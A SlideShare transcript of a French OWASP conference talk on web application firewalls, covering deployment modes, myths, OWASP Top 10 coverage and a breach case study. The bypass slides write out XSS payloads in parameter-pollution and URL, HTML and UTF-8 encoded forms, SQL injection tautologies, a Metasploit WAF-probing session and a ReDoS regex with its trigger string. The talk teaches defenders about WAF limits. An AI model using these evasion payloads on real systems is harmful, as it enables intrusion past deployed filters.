Checkpoint : sécurité des frameworks webCheckpoint : sécurité des frameworks web
Checkpoint : sécurité des frameworks webStephanie Ouillon
 
CV Saddam ZEMMALI Professionel Fr
CV Saddam ZEMMALI Professionel FrCV Saddam ZEMMALI Professionel Fr
CV Saddam ZEMMALI Professionel FrSaddam ZEMMALI ☁
 
Les 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASPLes 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASPyaboukir
 
OWASP Mobile Top10 - Les 10 risques sur les mobiles
OWASP Mobile Top10 -  Les 10 risques sur les mobilesOWASP Mobile Top10 -  Les 10 risques sur les mobiles
OWASP Mobile Top10 - Les 10 risques sur les mobilesSébastien GIORIA
 
Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012
Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012
Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012Sylvain Maret
 
yOS Montpellier - La différence entre SharePoint server et SharePoint online ...
yOS Montpellier - La différence entre SharePoint server et SharePoint online ...yOS Montpellier - La différence entre SharePoint server et SharePoint online ...
yOS Montpellier - La différence entre SharePoint server et SharePoint online ...Benoit Jester
 
SESEN_Atilgan_fr_20150511
SESEN_Atilgan_fr_20150511SESEN_Atilgan_fr_20150511
SESEN_Atilgan_fr_20150511Atilgan Sesen
 
HTML5 W3C Conference Euratechnologie
HTML5 W3C Conference EuratechnologieHTML5 W3C Conference Euratechnologie
HTML5 W3C Conference Euratechnologiewyggio
 
ASFWS 2012 - Gestion opérationnelle de la sécurité logicielle sur la platefor...
ASFWS 2012 - Gestion opérationnelle de la sécurité logicielle sur la platefor...ASFWS 2012 - Gestion opérationnelle de la sécurité logicielle sur la platefor...
ASFWS 2012 - Gestion opérationnelle de la sécurité logicielle sur la platefor...Cyber Security Alliance
 
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V012010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01Sébastien GIORIA
 

Similaire à 2010 03-10-web applications firewalls v 0.8 (20)

Sécurité des Développements Webs et Mobiles
Sécurité des Développements Webs et MobilesSécurité des Développements Webs et Mobiles
Sécurité des Développements Webs et Mobiles
 
Introduction à la sécurité des WebServices
Introduction à la sécurité des WebServicesIntroduction à la sécurité des WebServices
Introduction à la sécurité des WebServices
 
Webcast Oracle - Gestion des risques liés à l'obsolescence et la sécurité de ...
Webcast Oracle - Gestion des risques liés à l'obsolescence et la sécurité de ...Webcast Oracle - Gestion des risques liés à l'obsolescence et la sécurité de ...
Webcast Oracle - Gestion des risques liés à l'obsolescence et la sécurité de ...
 
Alphorm.com Formation SOPHOS XG FIREWALL, Administration
Alphorm.com Formation SOPHOS XG FIREWALL, AdministrationAlphorm.com Formation SOPHOS XG FIREWALL, Administration
Alphorm.com Formation SOPHOS XG FIREWALL, Administration
 
La Maîtrise de Java au sein du SI
La Maîtrise de Java au sein du SILa Maîtrise de Java au sein du SI
La Maîtrise de Java au sein du SI
 
Le bon, la brute et le truand dans les nuages
Le bon, la brute et le truand dans les nuagesLe bon, la brute et le truand dans les nuages
Le bon, la brute et le truand dans les nuages
 
2011 03-09-cloud sgi
2011 03-09-cloud sgi2011 03-09-cloud sgi
2011 03-09-cloud sgi
 
Checkpoint : sécurité des frameworks web
Checkpoint : sécurité des frameworks webCheckpoint : sécurité des frameworks web
Checkpoint : sécurité des frameworks web
 
SonarQube et la Sécurité
SonarQube et la SécuritéSonarQube et la Sécurité
SonarQube et la Sécurité
 
CV Saddam ZEMMALI Professionel Fr
CV Saddam ZEMMALI Professionel FrCV Saddam ZEMMALI Professionel Fr
CV Saddam ZEMMALI Professionel Fr
 
Les 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASPLes 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASP
 
OWASP Mobile Top10 - Les 10 risques sur les mobiles
OWASP Mobile Top10 -  Les 10 risques sur les mobilesOWASP Mobile Top10 -  Les 10 risques sur les mobiles
OWASP Mobile Top10 - Les 10 risques sur les mobiles
 
Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012
Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012
Securite des Web Services (SOAP vs REST) / OWASP Geneva dec. 2012
 
yOS Montpellier - La différence entre SharePoint server et SharePoint online ...
yOS Montpellier - La différence entre SharePoint server et SharePoint online ...yOS Montpellier - La différence entre SharePoint server et SharePoint online ...
yOS Montpellier - La différence entre SharePoint server et SharePoint online ...
 
Cdt juin2011 21
Cdt juin2011 21Cdt juin2011 21
Cdt juin2011 21
 
SESEN_Atilgan_fr_20150511
SESEN_Atilgan_fr_20150511SESEN_Atilgan_fr_20150511
SESEN_Atilgan_fr_20150511
 
HTML5 W3C Conference Euratechnologie
HTML5 W3C Conference EuratechnologieHTML5 W3C Conference Euratechnologie
HTML5 W3C Conference Euratechnologie
 
SRI.pdf
SRI.pdfSRI.pdf
SRI.pdf
 
ASFWS 2012 - Gestion opérationnelle de la sécurité logicielle sur la platefor...
ASFWS 2012 - Gestion opérationnelle de la sécurité logicielle sur la platefor...ASFWS 2012 - Gestion opérationnelle de la sécurité logicielle sur la platefor...
ASFWS 2012 - Gestion opérationnelle de la sécurité logicielle sur la platefor...
 
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V012010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
 

Plus de Sébastien GIORIA

OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014Sébastien GIORIA
 
Analyser la sécurité de son code source avec SonarSource
Analyser la sécurité de son code source avec SonarSourceAnalyser la sécurité de son code source avec SonarSource
Analyser la sécurité de son code source avec SonarSourceSébastien GIORIA
 
2014 09-25-club-27001 iso 27034-presentation-v2.2
2014 09-25-club-27001 iso 27034-presentation-v2.22014 09-25-club-27001 iso 27034-presentation-v2.2
2014 09-25-club-27001 iso 27034-presentation-v2.2Sébastien GIORIA
 
2013 06-27-securecoding-en - jug pch
2013 06-27-securecoding-en - jug pch2013 06-27-securecoding-en - jug pch
2013 06-27-securecoding-en - jug pchSébastien GIORIA
 
OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013Sébastien GIORIA
 
OWASP, the life and the universe
OWASP, the life and the universeOWASP, the life and the universe
OWASP, the life and the universeSébastien GIORIA
 
2013 04-04-html5-security-v2
2013 04-04-html5-security-v22013 04-04-html5-security-v2
2013 04-04-html5-security-v2Sébastien GIORIA
 
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)Sébastien GIORIA
 
2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécuritéSébastien GIORIA
 
2013 02-27-owasp top10 javascript
 2013 02-27-owasp top10 javascript 2013 02-27-owasp top10 javascript
2013 02-27-owasp top10 javascriptSébastien GIORIA
 
2011 02-07-html5-security-v1
2011 02-07-html5-security-v12011 02-07-html5-security-v1
2011 02-07-html5-security-v1Sébastien GIORIA
 
2011 02-08-ms tech-days-sdl-sgi-v02
2011 02-08-ms tech-days-sdl-sgi-v022011 02-08-ms tech-days-sdl-sgi-v02
2011 02-08-ms tech-days-sdl-sgi-v02Sébastien GIORIA
 

Plus de Sébastien GIORIA (20)

OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
OWASP Top10 IoT - CLUSIR Infornord Décembre 2014
 
Analyser la sécurité de son code source avec SonarSource
Analyser la sécurité de son code source avec SonarSourceAnalyser la sécurité de son code source avec SonarSource
Analyser la sécurité de son code source avec SonarSource
 
2014 09-25-club-27001 iso 27034-presentation-v2.2
2014 09-25-club-27001 iso 27034-presentation-v2.22014 09-25-club-27001 iso 27034-presentation-v2.2
2014 09-25-club-27001 iso 27034-presentation-v2.2
 
2014 09-04-pj
2014 09-04-pj2014 09-04-pj
2014 09-04-pj
 
Présentation au CRI-Ouest
Présentation au CRI-OuestPrésentation au CRI-Ouest
Présentation au CRI-Ouest
 
2013 06-27-securecoding-en - jug pch
2013 06-27-securecoding-en - jug pch2013 06-27-securecoding-en - jug pch
2013 06-27-securecoding-en - jug pch
 
OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013
 
OWASP, the life and the universe
OWASP, the life and the universeOWASP, the life and the universe
OWASP, the life and the universe
 
2013 04-04-html5-security-v2
2013 04-04-html5-security-v22013 04-04-html5-security-v2
2013 04-04-html5-security-v2
 
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
2013 02-12-owasp top10 mobile - attaques et solutions sur windows phone (sec309)
 
2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité
 
2013 02-27-owasp top10 javascript
 2013 02-27-owasp top10 javascript 2013 02-27-owasp top10 javascript
2013 02-27-owasp top10 javascript
 
Secure Coding for Java
Secure Coding for JavaSecure Coding for Java
Secure Coding for Java
 
2012 07-05-spn-sgi-v1-lite
2012 07-05-spn-sgi-v1-lite2012 07-05-spn-sgi-v1-lite
2012 07-05-spn-sgi-v1-lite
 
2012 03-02-sdl-sgi-v03
2012 03-02-sdl-sgi-v032012 03-02-sdl-sgi-v03
2012 03-02-sdl-sgi-v03
 
2012 03-01-ror security v01
2012 03-01-ror security v012012 03-01-ror security v01
2012 03-01-ror security v01
 
2011 02-07-html5-security-v1
2011 02-07-html5-security-v12011 02-07-html5-security-v1
2011 02-07-html5-security-v1
 
2011 02-08-ms tech-days-sdl-sgi-v02
2011 02-08-ms tech-days-sdl-sgi-v022011 02-08-ms tech-days-sdl-sgi-v02
2011 02-08-ms tech-days-sdl-sgi-v02
 
Top10 risk in app sec
Top10 risk in app secTop10 risk in app sec
Top10 risk in app sec
 
Top10 risk in app sec fr
Top10 risk in app sec frTop10 risk in app sec fr
Top10 risk in app sec fr
 

2010 03-10-web applications firewalls v 0.8

  • 1. Web Application Firewalls (WAF) CONFOO – Montréal Québec - Canada 10 Mars 2010 Sébastien Gioria (French Chapter Leader & OWASP Global Education Committee Member) sebastien.gioria@owasp.org Copyright © 2009 - The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License. The OWASP 2009 - S.Gioria & OWASP © Foundation http://www.owasp.org
  • 2. Qui suis-je ? Consultant Sécurité au sein du cabinet d’audit Groupe Y (s.gioria@groupey.fr) Président du CLUSIR Poitou-Charentes OWASP France Leader - Evangéliste - OWASP Global Education Comittee Member (sebastien.gioria@owasp.org)   +12 ans d’expérience en Sécurité des Systèmes d’Information   Différents postes de manager SSI dans la banque, l’assurance et les télécoms   Expertise Technique   PenTesting, Digital Forensics   S-SDLC   Gestion du risque, Architectures fonctionnelles, Audits   Consulting et Formation en Réseaux et Sécurité   Domainesde prédilection :   Web 4.2 : WebServices, Insécurité du Web. © 2009 - S.Gioria & OWASP
  • 3. Agenda   eb Application Firewalls (WAF) W   hoisir son WAF C   AF Mythes et réalités W   AF mode d’emploi W   ’amuser avec son WAF S   t après ? E © 2009 - S.Gioria & OWASP
  • 4. Faiblesse des Applications Web %  A$aques   %  Dépenses   10 % Applica1on  Web   75 % 90 % 25 % Eléments  Réseaux   Etude  du  GARTNER  2003   Etude  du  SANS  (septembre  2009)   75%  des  a4aques  ciblent  le  niveau  Applica=f   h4p://www.sans.org/top-­‐cyber-­‐security-­‐risks/   66%  des    applica=ons  web  sont  vulnérables       © 2009 - S.Gioria & OWASP 4
  • 5. Type d’attaques applicatives Source  :  Rapport  Cenzic  –  1er  semestre  2009   - S.Gioria © 2009 & OWASP
  • 6. Je suis protégé contre les attaques, j’ai un firewall © 2009 - S.Gioria & OWASP
  • 7. Mon site Web est sécurisé puisque il est protégé par SSL © 2009 - S.Gioria & OWASP
  • 8. Et arriva le WAF…  PCI-DSS (https://www.pcisecuritystandards.org/) 6.6 : In the context of Requirement 6.6, an “application firewall” is a web application firewall (WAF), which is a security policy enforcement point positioned between a web application and the client end point. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components.  http://www.owasp.org/index.php/Web_Application_Firewall   Le WAF est une CONTRE MESURE A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified. © 2009 - S.Gioria & OWASP
  • 9. Agenda   eb Application Firewalls (WAF) W   hoisir son WAF C   AF Mythes et réalités W   AF mode d’emploi W   ’amuser avec son WAF S   t après ? E © 2009 - S.Gioria & OWASP
  • 10. Mode Parallèle/Sonde © 2009 - S.Gioria & OWASP
  • 11. Mode Intrusif/Reverse Proxy © 2009 - S.Gioria & OWASP
  • 12. Intégré au serveur Web (mod_security d’Apache) © 2009 - S.Gioria & OWASP
  • 13. Intégré au Code/a l’applicatif   isponible dans l’OWASP ESAPI Uniquement ! D   e base sur des règles configurables à la volée S   roche du code, et peut donc gérer les entrées P + sorties. © 2009 - S.Gioria & OWASP
  • 14. Choisir son WAF/son camp Négatif Positif Le WAF reconnait les attaques Le WAF connait le trafic légitime Concept et les bloque, il autorise tous et rejette tout le reste. les accès. • Aucun besoin de •  Bloque les attaques inconnues personnalisation •  N’est pas dépendant d’une Avantages • Protection standard base de signature. • Simple a déployer • Détection précise • Extrèmement dépendant des • Configuration complexe Inconvénients signatures • Sensible aux faux positifs • Pas très précis © 2009 - S.Gioria & OWASP
  • 15. Mode négatif ncat --ssl www.wafforwimps.org 443 GET /test.aspx?val=<script>alert(Falken);</script> HTTP/1.0 HTTP/1.1 404 Not Found Date: Thu, 03 Sep 2009 3:47:19 GMT Server: IIS Last-Modified: Mon, 28 Jul 2008 14:45:31 GMT Accept-Ranges: bytes Content-Type: text/html Via: 1.1 www.wafforwimps.org X-Cache: MISS from www.wafforwimps.org Connection: close <html> <head><title>Error!</title></head> <body bgcolor=#FFFFFF> <h1>Found an XSS attack !!!!<hr></h1> </body> </head> </html> © 2009 - S.Gioria & OWASP
  • 16. Mode positif ncat --ssl www.wafforwimps.org 443 ncat --ssl www.wafforwimps.org 443 GET /test.aspx?val=test HTTP/1.0 GET /test.aspx?val=falkenHTTP/1.0 HTTP/1.1 200 Ok HTTP/1.1 404 Not Found Date: Thu, 03 Sep 2009 4:47:19 GMT Date: Thu, 03 Sep 2009 3:47:19 GMT Server: IIS Server: IIS Last-Modified: Mon, 28 Jul 2008 14:45:31 GMT Last-Modified: Mon, 28 Jul 2008 14:45:31 Accept-Ranges: bytes GMT Content-Type: text/html Via: 1.1 www.wafforwimps.org Accept-Ranges: bytes X-Cache: MISS from www.wafforwimps.org Content-Type: text/html Connection: close Via: 1.1 www.wafforwimps.org X-Cache: MISS from <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" www.wafforwimps.org "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> Connection: close <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <html> <meta name="ROBOTS" content="INDEX, FOLLOW" /> <head><title>Error!</title></head> </head> <body bgcolor=#FFFFFF> <h1>Value not possible!!!!<hr></h1> <body > </body> Hello Professor Falken, Would you play a game? </head> </body> </html> © 2009 - S.Gioria & OWASP
  • 17. Bypass des WAFs – le coup de la pollution des paramètres ncat --ssl www.wafforwimps.org 443 GET /test.aspx?val=<&val=script&val=>&val=alert&val=(&val=Fal&val=K&val=en&val=) &val=; &val=<&val=/ &val=script&val=> HTTP/1.0 HTTP/1.1 200 Ok Date: Thu, 03 Sep 2009 4:47:19 GMT Server: IIS Last-Modified: Mon, 28 Jul 2008 14:45:31 GMT Accept-Ranges: bytes Content-Type: text/html Via: 1.1 www.wafforwimps.org X-Cache: MISS from www.wafforwimps.org Connection: close <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="ROBOTS" content="INDEX, FOLLOW" /> </head> <body > Hello Professor <script>alert(XSS);</script>, Would you play a game? </body> © 2009 - S.Gioria & OWASP
  • 18. Agenda   eb Application Firewalls (WAF) W   hoisir son WAF C   AF Mythes et réalités W   AF mode d’emploi W   ’amuser avec son WAF S   t après ? E © 2009 - S.Gioria & OWASP
  • 19. Réalités du WAF   atcher virtuellement les problèmes P   lus ou moins efficace suivant la méthode employée P (positive, négative)   acher tout ou partie de l’infrastructure C   n mode reverse proxy E   nalyseur de trafic HTTP/HTTPS/XML puissant A   race à ses fonctions de normalisation et son G reporting © 2009 - S.Gioria & OWASP
  • 20. Mythes du WAF  C’est un nouvel élément d’infrastructure  Couts supplémentaires, à intégrer en PCA, …  Compétence supplémentaire…  Source de problèmes récurrents :  Modèle positif : à chaque modification de l’applicatif  Modèle négatif : dépendant des mises a jours.  Complexifie le debug  Ce n’est pas la solution!  Il « laisse » passer des failles (Session Hijacking, élévation de privilèges, HTTP response splitting, …)  Il n’est pas (encore) obligatoire en PCI-DSS ! © 2009 - S.Gioria & OWASP
  • 21. Agenda   eb Application Firewalls (WAF) W   hoisir son WAF C   AF Mythes et réalités W   AF mode d’emploi W   ’amuser avec son WAF S   t après ? E © 2009 - S.Gioria & OWASP
  • 22. WAF – En ai-je besoin ? Boite Noire Elevé Majoritairement Bénéfice d’un WAF Majoritairement développé en développé en interne, externe, peu de disponibilité des sources disponibles sources Moyen Accès total aux sources, et aux développeurs Faible Total Partiel Aucun Accès aux sources de l’application © 2009 - S.Gioria & OWASP
  • 23. Web Application Firewall Evaluation Criteria (WAFEC)  Projet du Web Application Security Consortium  http://www.webappsec.org/projects/wafec/  Liste les fonctionnalités possibles d’un WAF et non les fonctions minimum nécessaires d’un WAF  Permet d’évaluer techniquement le meilleur WAF pour son environnement en fonction de 9 critères : 1.  Type d’architecture à déployer (pont, reverse-proxy, intégré, SSL, …) 2.  Support d’HTTP et d’HTML (Versions, encodages,…) 3.  Techniques de détection (signatures, techniques de normalisation du trafic, …) 4.  Techniques de protection (brute force, cookies, sessions, …) 5.  Journalisation (intégration NSM, type de logs, gestion des données sensibles, …) 6.  Rapports (types de rapports, distribution, format, …) 7.  Administration (politiques, logs, …) 8.  Performance (nb de connexions/s, latences, …) 9.  Support XML (WS-i intégration, validation XML/RPC, …) © 2009 - S.Gioria & OWASP
  • 24. WAF – Mise en place  Choisir le type (centralisé, décentralisé, performances, …) => Projet WAFEC  Mettre en place l’organisation  Désigner (au minimum) un « WAF operation manager » en lien avec les équipes infrastructures et développement.   Rôle technico-MOA  Mettre en place la protection minimale  XSS, Blind-SQLi, …  Définir les priorités des applications à protéger  Itérer 1.  Traçage des requêtes 2.  Mise en place de la protection 3.  Contrôle de l’effectivité de la protection. © 2009 - S.Gioria & OWASP
  • 25. WAF – OWASP Top10 – Mise en Place Top10 WAF Commentaire Charge de mise en place Sur un WAF Code/ Configuration A1 (XSS) Ne voit pas les XSS persistants Moyenne Moyenne à Forte (pas de filtres en sortie) Bloque la majorité des attaques en fonction du moteur de canonisation A2 Bon sur les protocoles connus Moyenne Moyenne à Forte (Injections) (SQL) grace au blacklistage de caractères. A3 (RFI) Peut se coupler avec un A/V via Faible a Moyenne a Forte ICAP, permet de whitelister les Moyenne paramètres autorisés A4 Masquerade possible des ID Très Faible Faible a Moyenne (Insecure internes. Objects) A5 (CSRF) Peut ajouter des ID à la volée Faible 2009 - S.Gioria & OWASP © Moyenne
  • 26. WAF – OWASP Top10 – Mise en Place Top10 WAF Commentaire Charge de mise en place Sur un WAF Code/ Configuration A6 (Info Leak/ Bloque facilement les accès Faible à Forte Faible Error) aux URL non autorisées, mais détecte difficilement les erreurs coté serveur A7 (Auth & Dépend du WAF et du Moyenne à Forte Faible a Forte Session) Serveur Applicatif A8 (Crypto) Non Applicable Non Applicable Faible A9 (SSL/VPN) Totalement adapté Faible Faible A10 (Restrict Blacklistage Faible Failbe URL) © 2009 - S.Gioria & OWASP
  • 27. Agenda   eb Application Firewalls (WAF) W   hoisir son WAF C   AF Mythes et réalités W   AF mode d’emploi W   ’amuser avec son WAF S   t après ? E © 2009 - S.Gioria & OWASP
  • 28. Détection des WAFs  Certains WAFs laissent beaucoup d’informations sur leur présence :  Cookies :   barra_counter_session, NCI__SessionId, WODSESSION  Headers   Server=profense   Server=BinarySec  Réponses a des attaques (trigger de blacklist) dans les headers   HTTP/1.1 200 Condition Intercepted   HTTP/1.1 200 Forbidden   HTTP/1.1. 407 Proxy Authentication Required  Ou les pages par défaut !!!  <h1>System error!<hr></h1>  <title>Action not authorized!</title>  …… © 2009 - S.Gioria & OWASP
  • 29. Détection des WAFs  Wafw00f présenté à l’AppSec EU 2009.  Script python se basant sur une base de détection interne.   affun présenté à W l’AppSec EU 2009   cript python de S fuzzing pour construire une liste de bypass du WAF. © 2009 - S.Gioria & OWASP
  • 30. Détection des WAFs ./msfconsole [-] *** [-] *** # # ###### ##### ## #### ##### # #### # ##### ## ## # # # # # # # # # # # # # ## # ##### # # # #### # # # # # # # # # # # ###### # ##### # # # # # # # # # # # # # # # # # # # # # ###### # # # #### # ###### #### # # =[ msf v3.3-dev + -- --=[ 396 exploits - 239 payloads + -- --=[ 20 encoders - 7 nops =[ 267 aux msf > use auxiliary/scanner/http/wimps msf auxiliary(wimps) > set XSSVECTOR /Users/eagle/.msf3/modules/auxiliary/scanner/http/xssvector.txt XSSVECTOR => /Users/eagle/.msf3/modules/auxiliary/scanner/http/xssvector.txt msf auxiliary(wimps) > set RPORT 443 RPORT => 443 msf auxiliary(wimps) > set SSL true SSL => true msf auxiliary(wimps) > set RHOST www.wafforwimps.org RHOST => www.wafforwimps.org msf auxiliary(wimps) > run [*] Loading Database [*] Testing ./<script>alert(XSS)</script> Found some WAF signature ./<body onload=‘’http://www.wafforwinps.org/hack.js’’ > Found some WAF signature ………. © 2009 - S.Gioria & OWASP
  • 31. Bypass des WAFs   n WAFs sera toujours bypassé s’il n’implémente U pas le modèle positif.   oute tentative de : T   lacklist B   ègle de type regular-expression R   éseau neuronal R Sera inefficace! © 2009 - S.Gioria & OWASP
  • 32. Bypass des WAFs Le coup de l’encodage et de l’espace <script>alert(XSS);</script>   Encodage URL   Un petit espace %3c%73%63%72%69%70%74%3e <script>alert(XSS);</scri %61%6c pt> %65%72%74%28%58%53%53%29%   Un petit CR 3b%3c%2f %73%63%72%69%70%74%3e%0a <   Encodage HTML s &#x3c;&#x73;&#x63;&#x72;&#x69;&#x7 c 0;&#x74;&#x3e;&#x61;&#x6c;&#x65;   Un mix des deux ? &#x72;&#x74;&#x28;&#x58;&#x53;& %3c #x53;&#x29;&#x3b;&#x3c;&#x2f;&#x %20%73%20%63%20%72%20%69% 73;&#x63;&#x72;&#x69;&#x70;&#x74 20%70%20%74%20%3e%20%0a ;&#x3e;&#x0a; %61%20%6c   Encode UTF-8 %20%65%20%72%20%74%20%28% %u003c 20%58%20%53%20%53%20%29%2 %uff53%uff43%uff52%uff49%uff50%uff54%u003 0%3b%20%3c%20%2f e%uff41%uff4c %20%73%20%63%20%0a %uff45%uff52%uff54%uff08%uff38%uff33%uff33 %72%20%69%20%70%20%74%20% %uff09%u003c 3e%0a %u2215%uff53%uff43%uff52%uff49%uff50%uff5 © 2009 - S.Gioria & OWASP 4%u003
  • 33. Bypass des WAFs Et l’on ne parle pas du reste (SQL-i, HPP, …) Prenons la chaine a 130 millions OR 1==1 ID=1%20OR%201==1 ID=1%20OR%200x01==0x01 Tout ceci est valide et équivalent ID=1%20OR%2042==42 ID=1&ID=%20OR%20&ID=1&ID=%3&ID=d&ID=%3&ID=d&1 © 2009 - S.Gioria & OWASP
  • 34. Bypass des WAFs – le coup de la pollution des paramètres ncat --ssl www.wafforwimps.org 443 GET /test.aspx?val=<script>alert(Falken);</script> HTTP/1.0 HTTP/1.1 407 Proxy Authentication Required Date: Thu, 03 Sep 2009 3:47:19 GMT Server: IIS Last-Modified: Mon, 28 Jul 2008 14:45:31 GMT Accept-Ranges: bytes Content-Type: text/html Via: 1.1 www.wafforwimps.org X-Cache: MISS from www.wafforwimps.org Connection: close <html> <head><title>System error!</title></head> <body bgcolor=#FFFFFF> <h1>System error!<hr></h1> <p> Error #<b>3</b>... © 2009 - S.Gioria & OWASP
  • 35. Bypass des WAFs – le coup de la pollution des paramètres ncat --ssl www.wafforwimps.org 443 GET /test.aspx?val=<&val=script&val=>&val=alert&val=(&val=Fal&val=K&val=en&val=) &val=; &val=<&val=/ &val=script&val=> HTTP/1.0 HTTP/1.1 200 Ok Date: Thu, 03 Sep 2009 4:47:19 GMT Server: IIS Last-Modified: Mon, 28 Jul 2008 14:45:31 GMT Accept-Ranges: bytes Content-Type: text/html Via: 1.1 www.wafforwimps.org X-Cache: MISS from www.wafforwimps.org Connection: close <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="ROBOTS" content="INDEX, FOLLOW" /> </head> <body > Hello Professor <script>alert(XSS);</script>, Would you play a game? </body> © 2009 - S.Gioria & OWASP
  • 36. Dos Attacks   lowLoris & problèmes TCP S SYN ACK POST /form HTTP/1.0 Browser Server / Proxy Id= a b © 2009 - S.Gioria & OWASP
  • 37. Les Dos Attacks - RegExp   eux type d’attaques : D   ’utilisation de regexp de type : (a+)+ L   ’utilisation de regexp construites à la volée : L permettant donc d’injecter   oit la regexp de validation : S ^([a-zA-Z0-9])(([-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+ [.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$  Envoi de la chaine : aaaaaaaaaaaaaaaaaaaaaaaa! © 2009 - S.Gioria & OWASP
  • 38. Exemple vécu de l’(in)utilité recyclage déploiement d’un WAF Société de type VPC sur un marché de niche en B2B. © 2009 - S.Gioria & OWASP
  • 39. 1ere étape : le choix   options (via PCI-DSS 6.6, car il est bien connu 2 que toute société qui vend sur internet se doit d’être conforme….) : 1.  Déployer un WAF + Scan automatisés 2.  Mettre en place un code review sécurité + SDLC  Solution choisie : déployer un WAF(redondé) + Scans en mode ASP récurrent (1 par mois au minimum) => Magic quadrant + idée des conseils en régie + promo de Noël… © 2009 - S.Gioria & OWASP
  • 40. 2ème étape : la vie du produit   ésultats des scans réguliers : R   out est vert (forcément il y a un WAF qui voit arriver T avec ses gros sabots le robot….)   onfiguration du WAF : C   onfiguration faite par l’ingénieur en charge des C Firewalls (normal, c’est un Web Application FIREWALL !)   emontée des logs dans un fichier (non analysés, car R trop d’alertes)   ègles parfois permissibles car des outils (type CMS R plus ou moins propriétaires génèrent des requêtes bloquées) © 2009 - S.Gioria & OWASP
  • 41. L’attaque 1.  Un lutin malveillant lance une DOS (type slowloris) à destination du WAF en mode fail- open. 2.  Pendant ce temps,  e lutin malveillant découvre une injection SQL l basique (très très basique => type ‘OR 1==1).  es bases sont téléchargées par le lutin malveillant. l 3.  Le lutin revend tout ou partie de la base au meilleur offreur. 4.  Le lutin peut continuer à boire ses Guinness. © 2009 - S.Gioria & OWASP
  • 42. La détection   l n’a été vue que la DOS !!! I ⇒  ans les bases, des adresses e-mails D spéciales permettent de découvrir une compromission post attaque.   ’investigation dans les logs HTTP a permis de L découvrir l’injection SQL. © 2009 - S.Gioria & OWASP
  • 43. Le bénéfice   100% de bénéfice(financier) pour le vendeur + du PC de la webcam de la machine a café WAF   100% de bénéfice(financier) pour le vendeur + du scanner tout va bien quand je remets le rapport au DSI ASP -424,2%(au minimum) pour l’entreprise : – Perte d’image de marque – Perte de l’agrément PCI-DSS (amendes ?) – Pentests manuels en urgence – Formation des développeurs en urgence – Revue de code en urgence © 2009 - S.Gioria & OWASP
  • 44. Agenda   eb Application Firewalls (WAF) W   hoisir son WAF C   AF Mythes et réalités W   AF mode d’emploi W   ’amuser avec son WAF S   t après ? E © 2009 - S.Gioria & OWASP
